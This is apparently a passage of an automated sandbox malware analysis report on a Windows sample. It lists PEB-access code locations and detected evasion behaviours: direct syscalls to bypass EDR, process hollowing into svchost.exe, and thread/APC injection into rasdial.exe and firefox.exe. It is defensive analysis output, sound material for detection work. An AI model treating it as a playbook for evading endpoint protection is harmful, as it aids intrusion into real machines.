                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEBD0 mov eax, dword ptr fs:[00000030h]2_2_03ADEBD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]2_2_03A5EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]2_2_03A5EB20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]2_2_03AF8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]2_2_03AF8B28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04B00 mov eax, dword ptr fs:[00000030h]2_2_03B04B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]2_2_03AAEB1D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2CB7E mov eax, dword ptr fs:[00000030h]2_2_03A2CB7E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]2_2_03AE4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]2_2_03AE4B4B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B02B57 mov eax, dword ptr fs:[00000030h]2_2_03B02B57
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]2_2_03AC6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]2_2_03AC6B40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFAB40 mov eax, dword ptr fs:[00000030h]2_2_03AFAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD8B42 mov eax, dword ptr fs:[00000030h]2_2_03AD8B42
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28B50 mov eax, dword ptr fs:[00000030h]2_2_03A28B50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEB50 mov eax, dword ptr fs:[00000030h]2_2_03ADEB50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]2_2_03A38AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]2_2_03A38AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86AA4 mov eax, dword ptr fs:[00000030h]2_2_03A86AA4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]2_2_03A3EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04A80 mov eax, dword ptr fs:[00000030h]2_2_03B04A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68A90 mov edx, dword ptr fs:[00000030h]2_2_03A68A90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]2_2_03A6AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]2_2_03A6AAEE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]2_2_03A86ACC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30AD0 mov eax, dword ptr fs:[00000030h]2_2_03A30AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]2_2_03A64AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]2_2_03A64AD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA24 mov eax, dword ptr fs:[00000030h]2_2_03A6CA24
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EA2E mov eax, dword ptr fs:[00000030h]2_2_03A5EA2E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]2_2_03A54A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]2_2_03A54A35
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA38 mov eax, dword ptr fs:[00000030h]2_2_03A6CA38
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABCA11 mov eax, dword ptr fs:[00000030h]2_2_03ABCA11
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]2_2_03A6CA6F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADEA60 mov eax, dword ptr fs:[00000030h]2_2_03ADEA60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]2_2_03AACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]2_2_03AACA72
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]2_2_03A36A50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]2_2_03A40A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]2_2_03A40A5B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]2_2_03A429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]2_2_03A309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]2_2_03A309AD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov esi, dword ptr fs:[00000030h]2_2_03AB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]2_2_03AB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]2_2_03AB89B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE9E0 mov eax, dword ptr fs:[00000030h]2_2_03ABE9E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]2_2_03A629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]2_2_03A629F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC69C0 mov eax, dword ptr fs:[00000030h]2_2_03AC69C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]2_2_03A3A9D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A649D0 mov eax, dword ptr fs:[00000030h]2_2_03A649D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA9D3 mov eax, dword ptr fs:[00000030h]2_2_03AFA9D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB892A mov eax, dword ptr fs:[00000030h]2_2_03AB892A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC892B mov eax, dword ptr fs:[00000030h]2_2_03AC892B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]2_2_03AAE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]2_2_03AAE908
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC912 mov eax, dword ptr fs:[00000030h]2_2_03ABC912
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]2_2_03A28918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]2_2_03A28918
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]2_2_03A56962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov edx, dword ptr fs:[00000030h]2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]2_2_03A7096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]2_2_03AD4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4978 mov eax, dword ptr fs:[00000030h]2_2_03AD4978
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC97C mov eax, dword ptr fs:[00000030h]2_2_03ABC97C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0946 mov eax, dword ptr fs:[00000030h]2_2_03AB0946
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04940 mov eax, dword ptr fs:[00000030h]2_2_03B04940
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30887 mov eax, dword ptr fs:[00000030h]2_2_03A30887
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC89D mov eax, dword ptr fs:[00000030h]2_2_03ABC89D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA8E4 mov eax, dword ptr fs:[00000030h]2_2_03AFA8E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03A6C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C8F9 mov eax, dword ptr fs:[00000030h]2_2_03A6C8F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E8C0 mov eax, dword ptr fs:[00000030h]2_2_03A5E8C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B008C0 mov eax, dword ptr fs:[00000030h]2_2_03B008C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov ecx, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A52835 mov eax, dword ptr fs:[00000030h]2_2_03A52835
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A830 mov eax, dword ptr fs:[00000030h]2_2_03A6A830
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]2_2_03AD483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD483A mov eax, dword ptr fs:[00000030h]2_2_03AD483A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC810 mov eax, dword ptr fs:[00000030h]2_2_03ABC810
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE872 mov eax, dword ptr fs:[00000030h]2_2_03ABE872
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005DA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_005DA66C
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C8189 SetUnhandledExceptionFilter,0_2_005C8189
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005C81AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_005C81AC

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtQueryVolumeInformationFile: Direct from: 0x76F12F2CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtQuerySystemInformation: Direct from: 0x76F148CCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtAllocateVirtualMemory: Direct from: 0x76F148ECJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtQueryAttributesFile: Direct from: 0x76F12E6CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtReadVirtualMemory: Direct from: 0x76F12E8CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtCreateKey: Direct from: 0x76F12C6CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtSetInformationThread: Direct from: 0x76F12B4CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtClose: Direct from: 0x76F12B6C
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtAllocateVirtualMemory: Direct from: 0x76F13C9CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtWriteVirtualMemory: Direct from: 0x76F1490CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtCreateUserProcess: Direct from: 0x76F1371CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtTerminateThread: Direct from: 0x76F12FCCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtCreateFile: Direct from: 0x76F12FECJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtOpenFile: Direct from: 0x76F12DCCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtQueryInformationToken: Direct from: 0x76F12CACJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtAllocateVirtualMemory: Direct from: 0x76F12BECJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtDeviceIoControlFile: Direct from: 0x76F12AECJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtSetInformationThread: Direct from: 0x76F063F9Jump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtOpenSection: Direct from: 0x76F12E0CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtMapViewOfSection: Direct from: 0x76F12D1CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtResumeThread: Direct from: 0x76F136ACJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtCreateMutant: Direct from: 0x76F135CCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtWriteVirtualMemory: Direct from: 0x76F12E3CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtNotifyChangeKey: Direct from: 0x76F13C2CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtProtectVirtualMemory: Direct from: 0x76F07B2EJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtProtectVirtualMemory: Direct from: 0x76F12F9CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtSetInformationProcess: Direct from: 0x76F12C5CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtOpenKeyEx: Direct from: 0x76F12B9CJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtQueryInformationProcess: Direct from: 0x76F12C26Jump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtResumeThread: Direct from: 0x76F12FBCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtDelayExecution: Direct from: 0x76F12DDCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtReadFile: Direct from: 0x76F12ADCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtQuerySystemInformation: Direct from: 0x76F12DFCJump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeNtAllocateVirtualMemory: Direct from: 0x76F12BFCJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\rasdial.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\rasdial.exeThread register set: target process: 7200Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\rasdial.exeThread APC queued: target process: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2E08008Jump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005DB106 LogonUserW,0_2_005DB106
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005A3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_005A3D19
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E411C SendInput,keybd_event,0_2_005E411C
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005E74E7 mouse_event,0_2_005E74E7
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\lgkWBwqY15.exe"Jump to behavior
                Source: C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exeProcess created: C:\Windows\SysWOW64\rasdial.exe "C:\Windows\SysWOW64\rasdial.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\rasdial.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\lgkWBwqY15.exeCode function: 0_2_005DA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_005DA66C
